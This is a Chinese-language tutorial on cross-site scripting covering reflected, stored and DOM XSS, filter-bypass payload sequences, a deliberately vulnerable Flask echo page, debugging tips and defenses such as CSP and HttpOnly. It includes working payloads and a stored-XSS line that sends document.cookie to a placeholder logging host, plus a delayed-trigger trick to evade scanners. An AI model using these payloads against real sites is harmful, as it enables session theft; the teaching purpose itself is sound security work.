☰
XSS跨站脚本攻击全解析:原理、分类、实战与防御
2026/10/22 11:34:38 网站建设 项目流程

1. 先搞清楚XSS到底是个什么鬼

1.1 从搜索框的一次回显讲起

XSS这个简称在Web安全圈太熟了,全称Cross-Site Scripting,跨站脚本攻击。我第一次真正理解它的危险,不是看文档看懂的,是在某个内部演练项目里被“炸”醒的。一个看起来人畜无害的搜索框,我提交了一段测试用脚本,结果页面把原文完整地回显了出来。也就是说,浏览器把我输入的这段文本当成了页面结构的一部分去解析,而不是当成纯文本。那一刻我意识到,这儿的每一个用户输入点,都可能是通往Cookie、会话令牌和后台操作的入口。

一句话概括XSS的本质:浏览器把用户可控的数据当成了代码去执行。这里有两层信息值得拆开看。第一,数据是从用户这边进来的,无论用户是受害者本人还是攻击者,只要进入了应用的处理链路,就都叫“用户可控数据”。第二,代码被执行的位置是在受害者的浏览器里,而不是在服务器上。服务器的数据库、应用逻辑可能一丁点都没被攻击者碰到,但受害者这边的会话、密钥、页面内容已经失去了控制权。

理解这个本质之后,下面三个类型就好区分了。

1.2 反射型、存储型与DOM型的分水岭

XSS按触发链路分成三类,很多新手上来就背定义,结果一遇到实战就分不清。我用一个“包裹代收”的类比讲明白。

反射型XSS,相当于快递被送到代收点,攻击者把取件码发给受害者,让受害者自己凭码去取件。这个“码”是放在URL参数里的payload,页面把它反射出来、直接执行。非持久化、点一次炸一次,社交工程是它的主要投递方式。

存储型XSS,相当于攻击者直接住进了你家楼下的快递柜,每次你来取件都得经过他的地盘。payload先通过某个入口(比如评论框、留言板、昵称栏)写入服务器数据库,之后每一个访问这个页面的用户,都会被动加载这段恶意脚本。这才是最阴险的一种——不需要诱导受害者点任何链接,只要他打开那个正常的页面就中招。

DOM型XSS,跟前两者最大的区别在于,恶意数据根本不需要经过服务器。前端JavaScript读取URL里的参数,然后把它直接拼进DOM操作里,比如document.write、innerHTML。整个过程都在浏览器本地完成,服务器日志里可能什么都看不到,这也是它在监控体系下最难被发现的原因。

维度反射型存储型DOM型
数据存储位置不存储,URL传递存储在服务端数据库不存储,浏览器内存
触发机制需要受害者点击恶意链接打开正常页面即可触发前端JS读取参数后本地触发
危害范围单次、单受害用户持久化、影响所有访问者取决于触发入口的使用频率
检测难度较低,可日志审计中等,需排查历史数据较高,服务端日志无法捕捉

1.3 为什么2025年了XSS依然是高危项

近几年的应用架构从后端渲染一路演进到前后端分离、微前端、Serverless,框架的安全机制也在进步,React和Vue这类框架默认对插值表达式做转义处理,理论上有效降低了XSS的发生率。但XSS不但没退出历史舞台,反而换了新马甲。原因有五点:

  • 前端框架只管自己模板里的插值,防不住v-html、dangerouslySetInnerHTML这类主动注入后门;
  • 富文本编辑器、Markdown解析器、在线文档这类“用户输入即内容”的模块,天然就有XSS豁免区;
  • 云函数、SSR技术在服务端拼接HTML时,如果没做转义,照样把老三样漏洞又灌了回来;
  • JSONP、动态加载脚本、SVG上传、CSS注入,任何一个边缘功能都可能是入口;
  • 浏览器扩展、支付回调、第三方登录页这种半受信上下文,审查起来远比主站困难。

XSS之所以值得反复强调,是因为它经常充当“跳板”。一次反射型XSS可以钓到管理员Cookie,进一步拿到后台权限;一次存储型XSS可以直接做成僵尸网络,把每个访问者的浏览器变成挖矿节点。它是Web安全里少数几个“低门槛进入、高危害后果”的漏洞类型,也是我在内部项目里每次做渗透测试都第一个测的环节。

2. 核心细节解析与实操要点

2.1 注入点与过滤机制之间的一场博弈

你要真正理解XSS的操作步骤,得先站在攻击者的视角俯瞰整个注入面。目标不是写得炫酷的payload,而是找到“用户输入被拼进HTML/JS/CSS上下文”的那条通路。

我习惯把注入点分成四类来找:

  • 反射式回显点:搜索框、报错页、功能页面的URL参数,这类直接看页面有没有原样回显;
  • 存储型写入点:评论区、留言板、昵称、个人简介、文章标题、上传文件名,写入数据库后被其他用户读取的地方;
  • DOM操作点:哈希路由参数、window.name、postMessage消息、localStorage取值后直接塞进innerHTML的位置;
  • 半结构化上下文:<a>标签的href属性、<img>的src属性、<iframe>的src、SVG文件、CSS中的url()、JSONP回调函数名。

找到注入点之后,紧接着是摸清服务端的过滤策略。常见的防护有三板斧:HTML实体编码、关键字黑名单、上下文白名单校验。但这三板斧各自的防御半径是有限的,这也是XSS绕过手法的理论来源。比如黑名单过滤<script>标签,但过滤不了<img src=x onerror=alert(1)>;过滤了onerror事件,但过滤不了javascript:伪协议;过滤了英文单引号,却漏了&#39;这种HTML实体编码绕行。

我梳理过一套“三层筛选”逻辑:第一看有没有回显位置的可控性,第二看可控数据前后有没有引号或尖括号被转义,第三看事件属性、伪协议、Unicode归一化这些变形手段还在不在。这套逻辑可以直接复制到实际测试里用,每测一个点就套一次,效率比瞎试payload高得多。

防护手段防得住什么防不住什么
HTML实体编码插值文本中的<和>属性值中javascript:开头的内容
<script>关键字过滤直接嵌标签<scr<script>ipt>嵌套、事件属性
引号转义用双引号闭合属性单引号包裹的上下文没统一转义
长度限制超长payload注入短payload配合外部脚本加载
CSP严格策略内联脚本与远程脚本unsafe-inline放开时的漏网之鱼

2.2 从写入到执行,全链路说人话

无论哪一种XSS,都有一条固定的数据通路:输入点 → 传输管道 → 拼接点 → 浏览器解析器 → 执行环境。真正能走的通,需要五个关卡全部解锁。

第一关是入口可控。数据能到达目标变量里,比如URL参数、表单字段、请求Header,这本身不需要多高门槛。

第二关是传输无拦截。数据经过服务端时不触发WAF、过滤器和统一编码,否则根本进不了后续链路。这里要留意大小写、双写、注释符、换行制表符、Unicode全角字符这些变形手段,目的就是让正则表达式匹配不上。

第三关是拼接位置可控。数据最终跑到了HTML的哪个位置,决定了payload的语言形态。拼在<script>标签内部,还需要闭合前面的代码;拼在<a>标签的href属性里,需要闭合引号并引入javascript:;拼在<div>的文本区,只需要插入一个新标签即可点火。

第四关是编码统一。如果页面是UTF-8,你传进去的GBK编码字符可能被替换成乱码,导致payload直接作废;如果服务端多转了一次义,你就得用双层编码去匹配解析顺序。

第五关是执行无限制。浏览器解析器把这个位置的内容当成HTML标签、JS代码还是纯文本,取决于第三步的拼接位置,以及有没有CSP策略在头上压着。这一步的“开关”直接决定了前面四关的成果能不能兑现。

新手在这个链路里最容易犯的错误,是只关注“我传了什么”,忽略“应用把我的输入放在哪个上下文里解析”。同样的payload,放在文本节点里和放在<script>代码块里,写法完全不一样。用“上下文思维”替代“payload思维”,才算是迈过了XSS的第一道门槛。

2.3 实操之前,先想清楚三件事

动手测试之前,我建议你先明确三件事,能省掉后面大量的返工。

  • 靶标边界是什么?是纯前端Demo,还是包含后端存储的完整业务系统?测试完成后要不要还原数据?有没有独立的测试环境?这些决定了你payload的攻击强度和清理方案。
  • 授权边界是什么?是自己的项目、SRC漏洞平台的特权账号,还是攻防演练中明确授权的目标?我个人的红线是在授权范围内操作,不在未授权的系统上跑XSS探测,这一点值得所有初学者反复强调。
  • 观测边界是什么?你能看到的是浏览器侧的响应,还是同时能看到服务端日志、请求记录、WAF拦截提示?观测面越广,定位问题就越快。

这三件事想明白了再动手,你就不会出现在别人生产库里存一条“盗取Cookie”的脚本这种尴尬局面上。安全测试的价值是发现问题,而不是代替攻击者把问题放大。

3. 实操过程与核心环节实现

3.1 最小测试环境搭建:能跑起来就行

XSS的实操最好在一个你能完全控制的环境里做,推荐三个方向:本地靶场镜像、自己用Node/Python写一个五行的回显页面、或者直接在浏览器开发者控制台里练DOM型。其中本地靶场是新手最顺手的,因为它内置了从低到高的不同防护等级,你能直观感受过滤规则的变化。

我自己搭环境的时候是这么干的:拉一个本地靶场(这里指DVWA或类似的常见演练靶标),启动Apache和MySQL服务,然后登录后台把安全等级初始化为最低档。最低档的好处是能让你先看到“完全不设防”时XSS长什么样,建立第一个直观认知,然后再逐级提高难度,观察防护是如何层层加码的。

如果你不想用现成靶场,自己写一个最小回显服务也很简单,核心就是一个接口接收参数并原样输出:

from flask import Flask, request app = Flask(__name__) @app.route('/echo') def echo(): # 直接将用户输入的参数拼接到HTML中返回 param = request.args.get('q', '') return f'<p>你搜索的是:{param}</p>' if __name__ == '__main__': app.run(host='127.0.0.1', port=5000, debug=True)

打开http://127.0.0.1:5000/echo?q=hello,页面会显示“你搜索的是:hello”。现在你把hello换成:

<script>alert(document.domain)</script>

如果页面上弹出了你的本地域名,说明服务端没有任何过滤,一个典型的反射型XSS就成立了。这就是整个漏洞世界里最“裸”的一个实弹射击场。

3.2 从反射型入手:一个payload的前世今生

继续用上面的环境测反射型。我建议按下面这套顺序去试,每一步都有目的,不是瞎打。

  • 先试基础标签:<script>alert(1)</script>,确认有没有基础过滤;
  • 再试大小写混合:<ScRiPt>alert(1)</sCrIpT>,确认过滤规则是否区分大小写;
  • 叠加嵌套变形:<scr<script>ipt>alert(1)</scr</script>ipt>,确认是否存在单次过滤后被信任的场景;
  • 转入事件属性:<img src="x" onerror="alert(1)">,确认标签黑名单是否只覆盖script;
  • 再测属性注入:"><img src=x onerror=alert(1)>和'><svg onload=alert(1)>,确认上下文是在双引号内还是单引号内;
  • 最后试协议绕过:<a href="javascript:alert(1)">click</a>,确认伪协议过滤是否存在。

每跑一个payload,都要看一下浏览器网络面板和服务端日志。网络面板能告诉你这个请求是200还是302,服务端日志能告诉你参数是否被记录、是否被改写。反射型XSS的关键判断标准就一条:响应的HTML里,你的payload是不是出现在预期位置并且没有被转义。

我第一次在内部测试里跑到<img src=x onerror=alert(1)>这一步的时候,弹窗出现的那一下,脑子里瞬间把所有之前看过的绕过文章串起来了。那种“原来如此”的感觉,比看多少篇教程都管用。

3.3 存储型XSS的完整利用链

存储型XSS的复现不能用单次请求的思路,因为它的完整链路是“写入→存储→读取→触发”,多了一个中间环节。我建议用一个包含公告板功能的模拟系统来练手。

操作步骤如下:

  1. 打开公告板的发帖页面,在内容框里输入<script>fetch('//模拟日志平台/?cookie='+document.cookie)</script>,提交;
  2. 换一个浏览器(或者用无痕窗口)登录普通的用户账号,访问公告列表页;
  3. 观察模拟日志平台是否收到带着Cookie的请求,这个方法可以直观证明“每个访问者都会中招”;
  4. 清理现场:去后台删掉这条帖子,或者直接重置靶标数据库。

存储型XSS里我最喜欢用的一种变体是“延迟触发”。脚本不在一进页面就执行,而是配合setTimeout延时几秒,或者绑定在鼠标事件上。实际攻击中使用这种变体的原因很朴素:绕过很多自动化检测工具只盯着“页面加载后立刻发起的请求”,对延迟几秒的请求视而不见。

3.4 DOM型XSS:调试工具是主角

DOM型XSS不经过服务端,因此调试方式也更偏向前端。一个典型的漏洞代码长这样:

<div id="output"></div> <script> const name = new URLSearchParams(location.search).get('name'); document.getElementById('output').innerHTML = '欢迎你,' + name; </script>

访问http://127.0.0.1:5000/?name=<img src=x onerror=alert(document.cookie)>,浏览器先把URL参数解析出来,然后直接把它拼进innerHTML。这里的payload没有被发往服务器,而是在本地被DOM操作消费了。

排查DOM型XSS,我习惯用开发者工具做三件事:

  • 在Sources面板的代码里搜索innerHTML、outerHTML、document.write、eval、setTimeout、setInterval、insertAdjacentHTML、location赋值,这些是高频的危险函数;
  • 用location.href和document.referrer这类属性溯源,确认可控数据从哪里进入页面;
  • 在Console面板里手动执行document.getElementById('output').innerHTML,观察赋值前后DOM树的变化,这一招能帮你快速确认拼接点是否存在。

DOM型XSS麻烦就麻烦在服务端完全无感知,你去看Nginx日志,干干净净,一条异常记录都没有。所以它的检测必须前置到前端代码审计,或者依赖浏览器端的爬虫工具主动渲染和探测。这也解释了为什么很多重服务端监控的团队会在这类漏洞上失守。

4. 常见问题与排查技巧实录

4.1 为什么我的payload死活打不出来

排查XSS不生效的问题,我总结了六个高频原因,按出现频率排序。

第一,引号闭合错误。你payload里的引号和上下文里的引号没对上,导致浏览器把整段内容当成纯文本解析。解决方案就是在payload开头多试几种闭合写法:"、'、>、/>、空格,看哪个能改变页面的解析结果。

第二,过滤规则在服务端就拦截了。特征表现为请求正常返回200,但响应里没有你的payload痕迹。这时你需要调整payload形态绕过滤,而不是继续硬怼同一个。

第三,编码不统一导致失效。页面是UTF-8,你直接提交GBK的编码实体,浏览器在解析时全给替换成乱码。解决方案是payload只保留纯ASCII字符,或者精确使用&#x实体编码。

第四,浏览器内置防护拦了反射型XSS,响应头里的X-XSS-Protection还开着是最常见的情况。不过现代浏览器已经开始移除了这个旧机制,这个问题会越来越少。

第五,CSP策略限制了脚本加载。响应头里的Content-Security-Policy如果存在且有值,就能解释为什么你的内联脚本和远程脚本都失效。这种情况下要么找CSP策略里有没有unsafe-inline、unsafe-eval漏洞,要么放弃脚本注入,改成纯HTML向量。

第六,触发点不在你控制的页面。比如payload写进了页面A,但执行逻辑在页面B的同源脚本里,你只盯着A页面当然看不到效果。要顺着数据流走到最后一个执行点,而不是停在第一个写入点。

注意:如果你在排查中发现目标环境是生产系统、且你没有明确的测试授权,请立即停止验证,切换到本地靶场或演练靶标。安全测试的红线意识,比任何技术技巧都重要。

4.2 实战排查思路清单

我在实战中整理过一套排查清单,现在分享出来:

  • 看响应头:Content-Type是否是text/html,如果被强行设置成了application/json,那浏览器不会解析HTML标签,再完整的payload也是白搭;
  • 看源码上下文:按Ctrl+U(或命令行工具)查看原始响应,找到你的payload实际渲染成了什么样子,而不是用眼睛在页面视觉上找;
  • 看网络面板重定向:如果参数被302跳转消化了,payload可能在第一次请求里就被消费掉了;
  • 看字符编码声明:页面meta里声明的字符集和实际响应头里的charset是否一致;
  • 看WAF拦截页特征:响应里有没有出现统一的错误码、拦截提示页面、或者返回长度超过正常值的处理逻辑;
  • 换一个浏览器或关掉防护插件重试,排除本地浏览器扩展对脚本执行的干扰。

4.3 工具辅助,但不是万能药

XSS的自动化扫描工具用起来确实省事,常见的Web漏洞扫描器能帮你铺开一级探测,把反射型XSS的“裸奔”点筛出来,生成背诵式的报告。但工具能做的是“广度”,真正决定漏洞能不能利用、危害有多大的“深度”,还得靠人工。

我在实际项目中遇到过几次这种组合:工具扫出了一个疑似存储型XSS点,但上报后开发团队怎么都不承认,因为payload在低等级浏览器里不弹窗。我去手工看了一下代码,发现问题是payload本身在写入时被做了HTML实体编码,但编码后的字节又落在了一个<script>标签的字符串里,服务端输出时又经过了一层反转义。这层层叠叠的编码嵌套,不是纯工具能在黑盒情况下推出来的。

所以我的建议是:自动化工具负责铺面,手工测试负责挖深。工具扫出可疑点位之后,立刻切换到开发者工具的“用代码说话”模式,逐步改变输入和观察输出,把每一个可疑点都搞清楚“为什么”和“怎么进一步利用”。这个习惯一旦养成,你XSS的实战水平会有一个明显的跨越。

5. 防御加固与绕过的攻防博弈

5.1 三个核心防线缺一不可

回到操作本身,XSS的防御从来不是一套方案走天下,它需要三层防线叠加。

第一层是输入侧:对所有用户可控的数据做白名单校验和长度限制。业务上允许的字符集是什么,就只接受什么。比如用户名只允许中文字符和英文字母,那尖括号、引号、反斜杠一律在入口处拒绝。这里尤其要警惕“过滤了但不彻底”的状态,不要做一个黑名单正则过滤掉一批已知payload就觉得安全了,“拒绝未知的”比“排除已知的”可靠得多。

第二层是输出侧:如果业务逻辑确实需要将用户输入原样展示,那必须在输出点做上下文感知的编码。HTML实体编码、URL编码、JavaScript字符串编码、CSS编码,这四套编码体系是怎么在解析器面前发挥作用的,需要逐一做对。我见过最好的实践是前端框架在模板里默认做转义,只有显式传入HTML的地方才放开控制,再配合DOMPurify这一类白名单清理库。

第三层是全局侧:启用CSP策略来划定脚本可执行范围,并设置Cookie的HttpOnly和Secure属性。CSP这块,最核心的参数是script-src。如果业务上允许内联脚本,你需要给出合理的白名单来源,而不是直接开unsafe-inline。Cookie设置了HttpOnly之后,脚本里的JavaScript就无法通过document.cookie读走会话令牌,被窃取的风险立刻下降一大截。

注意:HttpOnly能防的是“你的脚本读取Cookie”,防不了“浏览器替攻击者以受害者身份发出带Cookie的请求”。所以它只是第一道保险,配合CSP和CSRF防护才是完整方案。

5.2 白盒审计视角下的XSS排查

如果你是开发团队或安全团队的一员,做XSS自查的时候不要只盯页面上的搜索框。我列一份高风险点清单,你拿着这份清单去翻代码,准确率会高很多:

  • 服务端模板引擎渲染用户字符串时有没有统一转义;
  • 前端代码里的innerHTML、outerHTML、insertAdjacentHTML是否接入了不可信数据;
  • 富文本编辑器输出的清洗策略是否覆盖了所有的事件属性;
  • 导出Excel、PDF的文件名是否会拼入URL或HTML上下文;
  • 单页应用的hash路由参数是否被直接当作DOM节点内容使用;
  • JSONP接口的callback参数是否做了正则白名单过滤;
  • SVG、样式表上传接口是否限制了脚本能力;
  • 错误日志页、报错堆栈、404兜底页是否回显了原始输入。

这些地方恰恰是自动化漏洞扫描器覆盖率不高、而攻击者在手工测试中盯着不放的位置。白盒审计的责任就是赶在攻击者之前,把这类边缘角落的问题翻出来。

5.3 一份XSS漏洞报告的信息骨架

如果你在授权范围内发现了一个可用的XSS,一份规范的漏洞报告应该至少包含六个部分:

  • 漏洞概述:类型(反射/存储/DOM)、危害等级、影响范围;
  • 复现步骤:每一步的操作命令或浏览器操作,配合截图佐证;
  • Payload明细:完整请求链路、提交的payload内容、响应中触发的位置;
  • 影响分析:攻击者控制后能做什么——会话劫持、钓鱼页、权限提升、还是敏感数据读取,尽量描述出业务层面的后果;
  • 修复建议:针对代码层、配置层、平台层的具体修复动作;
  • 参考材料:相关的漏洞编号、修复样例、CSP配置模板。

写完报告之后,我还习惯在附注里把自己对这个漏洞的利用深度做一次自我评估。原因是同一个XSS点,修复优先级可能完全不同。如果是管理员后台的存储型XSS,能直接接管整个平台,那修复紧急性是最高级;如果是个人信息的反射型XSS,利用率低且只在低版本浏览器触发,那优先级就可以适当下调,但不代表不修。这个判断在实战中影响研发资源的分配,比千篇一律的“高危”评级有用得多。

6. 个人实操中的几条体会

测XSS这件事,我在内部项目里做过很多次,踩过的坑比教程里写的多。有几点体会想留给后面的人。

第一,永远是先搞清楚上下文再写payload,而不是把网上收藏的几十个payload挨个往里砸。你手里那套经典payload在文本上下文里可能全军覆没,但只要知道数据被拼在了单引号包裹的属性里,一条'+alert(1)+'就能直接解决问题。上下文对了,一行代码胜过那些花里胡哨的工具输出。

第二,记录你的测试过程,每一步的请求和响应都要留痕。反射型XSS的判断依据是“响应里有没有原样出现payload”,存储型XSS的依据是“另一个会话能不能看到payload”,DOM型XSS的依据是“浏览器本地DOM树有没有变化”。这三种依据如果不落在文字记录里,几个小时后你回头整理报告时,根本说不清楚漏洞是从哪个入口点进来的。

第三,多跟开发聊业务逻辑,少跟开发对战攻防。同样的一个XSS点,如果我只是甩一句“这里存在跨站脚本漏洞,请修复”,开发大概率会问我“怎么修”。如果我能说清楚“这个输出点是用户昵称,建议在服务端渲染时统一对HTML特殊字符做编码转换,并调整一下当前CSP的script-src配置”,效率会是天壤之别。安全工程师的价值不体现在把问题说得有多严重,而体现在把问题说到能解决的颗粒度。

最后再分享一个小技巧:调试XSS时,别只看浏览器页面,把开发者工具的“网络”面板和“控制台”面板同时打开,控制台里报错信息往往比弹窗更容易暴露问题所在。有一次我在某存储型XSS测试里怎么都触发不了弹窗,结果控制台报了一个明确的“引号未闭合”的语法错误,瞬间定位到了上下文拼接位置。用错误信息反向推导解析过程,经常能省下半天的排查时间。

希望这次梳理能帮你把XSS这条线吃透。如果有别的安全问题想聊,欢迎带着你的实测记录来交流。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询